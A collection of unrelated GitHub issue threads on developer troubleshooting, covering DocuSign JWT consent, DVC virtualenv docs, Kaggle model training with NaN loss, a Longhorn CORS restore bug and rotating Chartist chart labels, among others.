If you are receiving the error consent required then the problem is that the User guid that you've supplied has not granted consent.
Two ways to fix:

If your account has the Organization Administration feature and you have captured your email domain for your account, then you can use the Organization Administration feature to grant Blanket Consent, also known as Administrative Consent to your client id (integration key).

You can have the user, whose guid you're using, grant individual consent. You do this by having the user go through the first steps for the authorization code grant flow. For an example of this, see the special handling for the consent required error in the JWT example. See lines 51-63 of this file.
You will need to set a redirect URL for the client id to enable the first steps of the Authorization Code Grant flow. You do not need to add a secret key to the client id nor use the authorization code.

Thanks for the reply Larry,
I'd much rather have the blanket Consent route work as it seems like the simpler approach. Is having the Organization Administration an additional charge? I'm having a horrible experience with the support department still. They sent me an email saying I need to reply to the open ticket this morning but that tickets been deleted to the best of my knowledge. Since you and megis have been he only two people in your company to reply to anything I've sent. Is there any way I could get this feature turned on through you?

Hi @gvasas13,
Yes, Organization Admin is an extra feature (at extra cost) that not all production accounts have. You can have it added to your developer sandbox at no charge if you'd like to try it out. Send an email to<EMAIL_ADDRESS>and include your AccountId.

I'm closing this issue out.
Please re-open this issue as needed.
Thanks,
Larry

Hi Larry,
I am too encountering same "consent_require" error while generating JWT access code. I have done all the steps mentioned in the JWT document for user consent. I am not sure what additional steps are required to generate the access token.
Please help me understanding the root cause as we will be going live in a week

Hi @harsharahul ,
If you (and the users of your API integration) have organization administration enabled, with an email domain captured, then you can use Administrative Consent (also called Blanket Consent) to proactively grant consent to an IK (a client id) to impersonate anyone in your account.
But many accounts do not have organization administration, or they have not captured an email domain.
In these cases, each person who will be impersonated by a JWT Grant must give individual consent to the IK.
See the Individual Consent section of the consent docs.
Here are the specific steps:

With Individual Consent, the DocuSign user must open a URL on their browser. The URL will enable the person to login to DocuSign, grant consent to your integration key, and then your user will be redirected to a URL.

Choose the URL where the user should be re-directed to after they grant consent. The URL could be to a page that says "Thank you for granting consent." Or the URL could be the home page of your application, or the home page of your organization. It does not matter. But you must pick a URL, including https:// or http:// We will refer to this URL as the Redirect URL

Using the DocuSign Admin Tool, open the API and Keys section. Open your Integration Key's details.

Add the Redirect URL as a Redirect URI on the form. See the screenshot:

Create the URL that will be used by the DocuSign user to grant individual consent. The URL has the following format for the Developer Sandbox system:
https://account-d.docusign.com/oauth/auth?response_type=code&scope=signature%20impersonation&client_id=YOUR_INTEGRATOR_KEY&redirect_uri=YOUR_REDIRECT_URI

Have the DocuSign user who will be impersonated open the above URL in their browser.
If your integration is using an "integration account" such as<EMAIL_ADDRESS>then you must open the URL in a browser and login to DocuSign as the "user"<EMAIL_ADDRESS>to grant consent.


Add ssh-agent support

Copied from docker plugin
I tried to make a test, but checking sockets is hard

Hi folks! Thanks for your contributions! You are welcome on submitting a new PR if you are still interested in the functionality. I'll close this one as it has conflicts and needs some changes.


docs: add intruction to create virtualenv

Hello!
[edited]
This pull request changes the virtual virtual environment link from python tutorials to python docs.
The tutorials page has some text before getting to the command itself, the docs page is more straightforward so the user can paste the code get back to DVC guides :)

thanks @dmesquita !

One downside of using built in venv is that pip is outdated, wheel is not includes which makes it very inefficient to use to install DVC to my mind. Additional command is needed:
env/bin/python -m pip install --upgrade pip setuptools wheel
more on this here - https://chriswarrick.com/blog/2018/09/04/python-virtual-environments/ .

Are you saying the change to use the python -m venv .env command was not thought through? Should we roll back to virtualenv -p python3 .env (and perhaps the link as well)? See https://github.com/iterative/dvc.org/pull/1556/files

@jorgeorpinel @dmesquita let you decide on this :) (ping the team as well - what do they think).


Complete Callback

Hello,
Is there a complete callback for jssor? I need to edit the images after my jssor slider has initialized. Is that possible? I tried to use $EVT_LOAD_END event, but sometimes the height and width of the current image loaded returns 0, is that normal¿?

Please just goes after the statement var jssor_slider1 = new $JssorSlider$(...;.


bib: fix injecting default "build" arg into root for flags like --local

[draft as this needs tests]
In PR#608 we dropped the container entrypoint and moved the logic to detect what command to run into the cobra parsing.
However it seems certain situations like:
bootc-image-builder  --type qcow2 --tls-verify=true  --local quay.io/centos-bootc/centos-bootc:stream10

are not detected correctly (thanka to Chunfu Wen for reporting!).
This commit detect this usage and injects the build arg then too.
Closes https://github.com/osbuild/bootc-image-builder/issues/614

I'm going to admin-merge this because we need it to unblock users but we have an issue with our cross-arch build tests that's preventing things from being merged through the proper merge queue.


ADD: Buy WEWE Button on Base

After implemetation of #566 please implement a visual Button in Base ChainTokenView to directly swap to $WEWE.
Logic:
When pressing Buy wewe  Button, open Swap page where $WEWE is already selected.
With commit d6910af $WEWE is already in the app.
For UI, use figma design:

depends on #566


Assert reports wrong failing command

see below example: bats-core reports that false failed (correct) while assert reports true failed (incorrect).
I suspect that assert always reports the previous command as failing while a test can include more than just one run and one assert.
load /usr/local/libexec/bats-assert/load.bash
load /usr/local/libexec/bats-support/load.bash

@test core {
    true
    false
}

@test assert {
    true
    assert false
}

 ✗ core
   (in test file .\mytest.bats, line 8)
     `false' failed
 ✗ assert
   (in test file .\mytest.bats, line 12)
     `true' failed

   -- assertion failed --
   expression : false
   --

false is just a string in bash. A non-empty string is true. Therefore, this is working properly. You need to manage boolean logic differently in your bash.
Related discussion:
https://unix.stackexchange.com/questions/105935/understanding-boolean-operators-in-bash-script

@flickerfly quoting from the documentation...
| assert - Fail if the given expression evaluates to false.
...that means the false string is evaluated (to boolean false).
But that was just an example of a failing assertion. The issue is that it reports the true statement as failing while it's the assertion that is failing.

@thorstenkampe I can't reproduce this, even with Bats 1.3.0. Please try to provide more detail about your environment and post this at bats-core, since error line reporting comes from over there.


will you release the full training code of winter to summer?

Hi, great job.
as mentioned, will you release the full training code of winter to summer?

Do you have the training code from winter to summer？


ValueError: "non finite loss" while running make_kaggle_solution.sh

While running python train_nn.py --cnf configs/c_128_5x5_32.py, I got the ValueError. The full error log is attached below. Even after installing lasagne and nolearn at the given commit ids, I'm still getting the deprecation warnings. Could this error be related to it?
Error log

If you reduce the learning rate a bit, say to: 'schedule': {0: 0.002, 150: 0.0002, 201: 'stop'} do you still get a non-finite loss?

Yes, still the same error. Tried with 'schedule': {         0: 0.0005,         150: 0.00005,         201: 'stop',     } as well.

Also while running the previous convert.py commands there were quite a few files for which "box could not be found" or "box too small" were outputted. In such cases, what is the output image written? I'm wondering if there is a corrupt input image which is causing this. Alternately, any other intermediate values I can print out to debug?

 It just falls back to cropping the center square in those cases.
During the competition I noticed that sometimes the computations slowed down, especially when switching between different versions of theano and I would sometimes have to clear the theano cache and/or reboot my computer. So I would try cleaning the theano cache by running theano-cache clear or by running rm -r ~/.theano and then try again.
If the problem persists, could you also post the output of pip list and pip freeze here?

/home/ubuntu/dataset/kaggle_diabetic/solution/src/lasagne-master/lasagne/init.py:86:
UserWarning: The uniform initializer no longer uses Glorot et al.'s approach
to determine the bounds, but defaults to the range (-0.01, 0.01) instead.
Please use the new GlorotUniform initializer to get the old behavior.
GlorotUniform is now the default for all layers.

Could this warning be of consequence? Due to improper parameter initialization, we are getting infinite loss.

That should be fine. I get these warnings too but we are using the orthogonal initialization.
https://github.com/sveitser/kaggle_diabetic/blob/master/layers.py#L36-L37

Ok.
Output for pip list:
click (3.3)
decorator (4.0.6)
funcsigs (0.4)
ghalton (0.6)
joblib (0.9.3)
Lasagne (0.1.dev0, /home/ubuntu/dataset/kaggle_diabetic/solution/src/lasagne-master)
matplotlib (1.4.3)
mock (1.3.0)
networkx (1.10)
nolearn (0.6a0.dev0, /home/ubuntu/dataset/kaggle_diabetic/solution/src/nolearn-master)
nose (1.3.7)
numpy (1.9.2)
pandas (0.16.0)
pbr (1.8.1)
Pillow (2.7.0)
pip (7.1.2)
pyparsing (2.0.7)
python-dateutil (2.4.2)
pytz (2015.7)
PyYAML (3.11)
scikit-image (0.11.3)
scikit-learn (0.16.1)
scipy (0.15.1)
setuptools (18.2)
SharedArray (0.3)
six (1.10.0)
tabulate (0.7.5)
Theano (0.7.0, /home/ubuntu/dataset/kaggle_diabetic/solution/src/theano)
wheel (0.24.0)

Output for pip freeze:
click==3.3
decorator==4.0.6
funcsigs==0.4
ghalton==0.6
joblib==0.9.3
-e git+https://github.com/benanne/Lasagne.git@9f591a5f3a192028df9947ba1e4903b3b46e8fe0#egg=Lasagne-dev
matplotlib==1.4.3
mock==1.3.0
networkx==1.10
-e git+https://github.com/dnouri/nolearn.git@0a225bc5ad60c76cdc6cccbe866f9b2e39502d10#egg=nolearn-dev
nose==1.3.7
numpy==1.9.2
pandas==0.16.0
pbr==1.8.1
Pillow==2.7.0
pyparsing==2.0.7
python-dateutil==2.4.2
pytz==2015.7
PyYAML==3.11
scikit-image==0.11.3
scikit-learn==0.16.1
scipy==0.15.1
SharedArray==0.3
six==1.10.0
tabulate==0.7.5
-e git+https://github.com/Theano/Theano.git@71a3700fcefd8589728b2b91931debad14c38a3f#egg=Theano-master
wheel==0.24.0

Any other changes I can try?

I don't have any good ideas right now. What version of cuDNN are you using?
You could try the Theano at the state I was using when I was working on the project via,
pip install --upgrade -e git+https://github.com/Theano/Theano.git@71a3700fcefd8589728b2b91931debad14c38a3f#egg=Theano-master
You should probably remove the theano cache after reinstalling theano.

AWS G2 instance which has GRID K520 GPU with CUDA 7.0 and cuDNN v3.0. Nope, the problem still persists.

You could insert
print(batch_train_loss[0])

right before this line https://github.com/sveitser/kaggle_diabetic/blob/master/nn.py#L248 to check if the non-finite loss occurs after the initial batch or if it's first finite and then diverges.

Yep, I had tried that in the beginning. It's "nan" for the first batch itself.

Have you tried using any other configurations?

Yes, I did a fresh install, preprocessed the images again and then ran the train_nn.py for all the given config files - I get "non finite loss" in the very first epoch. I also tried with using a batch size of 1. Even then the loss is "nan". Something fundamentally seems to be wrong. Any unit tests for check lasagne or nolearn? I'm more of a caffe person.

Yes both have tests and theano does as well.
For theano (assuming you installed theano with pip previously)
git clone https://github.com/Theano/Theano
cd Theano
theano-nose

For lasagne,
git clone https://github.com/Lasagne/Lasagne
cd Lasagne
pip install -r requirements-dev.txt # comment out first line to not install another theano commit
py.test

For nolearn,
git clone https://github.com/dnouri/nolearn
cd nolearn
py.test

For more info, https://lasagne.readthedocs.org/en/latest/user/development.html#how-to-contribute and
http://deeplearning.net/software/theano/extending/unittest.html .

@chintak Just out of curiosity. Did you manage to get things to work or find out what is going wrong?

Nope. After a few days I'll try and test it on another system.


[BUG] Backup restore blocked by CORS policy

Describe the bug
With NFS backup target (I didn't try with S3 backup), backup are done correctly.
But when I try to restore with "Create Disaster Recovery Volume" or "Restore Latest Backup", nothing happens.
In javascript console, I can see:
Access to XMLHttpRequest at 'wss://cluster.mydomain/backupvolumes/myvolume?action=backupList' from origin 'https://cluster.mydomain' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, chrome-untrusted, https.

Tryed with Google Chrome and Firefox
Expected behavior
In 1.1.2, a popup should be opened to configure the restoration
Environment

Longhorn version: 1.2.2
Installation method (e.g. Rancher Catalog App/Helm/Kubectl): Rancher
Kubernetes distro (e.g. RKE/K3s/EKS/OpenShift) and version: v1.21.6+k3s1

Number of management node in the cluster: 3
Number of worker node in the cluster: 1
OS type and version: Debian 11

Any idea?

@PPCM
For the CORS issue, you can check the KB doc https://longhorn.io/kb/troubleshooting-traefik-2.x-as-ingress-controller .

Thanks for the answer, now I have to find own to configure Rancher with this KB

Thanks for the answer, now I have to find own to configure Rancher with this KB

You could apply the YAML manifest first to see if it's working for you or not.


Is it possible to tilt the labels in bar chart?

Hi, I was trying to figure out an option to tilt the labels in bar chart. Is there a way for that?

You can use css to rotate the labels ;)
http://jsbin.com/hisomococe/1/edit?css,output

That's great. But I only wanted to tilt the x axis labels. Is it possible cause ct-labels is affecting both xy axis labels.

All horizontal label have the classes .ct-label and .ct-horizontal, so if you use .ct-horizontal instead of .ct-label, it will work.

That's cool. Thanx :)

Thanks guys!

Hey y'all, maybe this has already been dealt with elsewhere but I'm having an issue with CSS transforms due to <IE10 not supporting CSS transforms on SVG elements (see the "Known issues" tab). Is there a good way to replicate the effect of a CSS transform directly from JavaScript? I'm sorry if this is silly, I'm really unfamiliar with SVG transforms and I've been digging through the docs for a bit trying to figure it out to no avail :/
Thanks!

Follow up! I've basically replicated the functionality I was looking for using attributes on the SVG elements like so:
bar = new Chartist.Bar('.chartist-bar', data, options)

bar.on 'draw', (data) ->
  if data.type is 'label'
    n = $(data.element._node)

    if data.axis.units.dir is 'horizontal'
      x = data.x
      y = data.y

      n.css 'overflow', 'visible'
      n.attr 'transform', "translate(5, -10) rotate(30 #{ x } #{ y })"
    else if data.axis.units.dir is 'vertical'
      n.attr 'text-anchor', 'end'

Just thought I'd share!

Using the example from the jsbin link it looks to me it's better to use .ct-end rather than .ct-horizontal because the latter affects the grid lines too.

Note that on Chrome – different from both Firefox and IE11 – attribute-based transform does not work on foreign objects.
I had to use both @evanleck's approach for IE and style-based transformation for Chrome – taking care to vendor-prefix so as not to transform doubly on Firefox.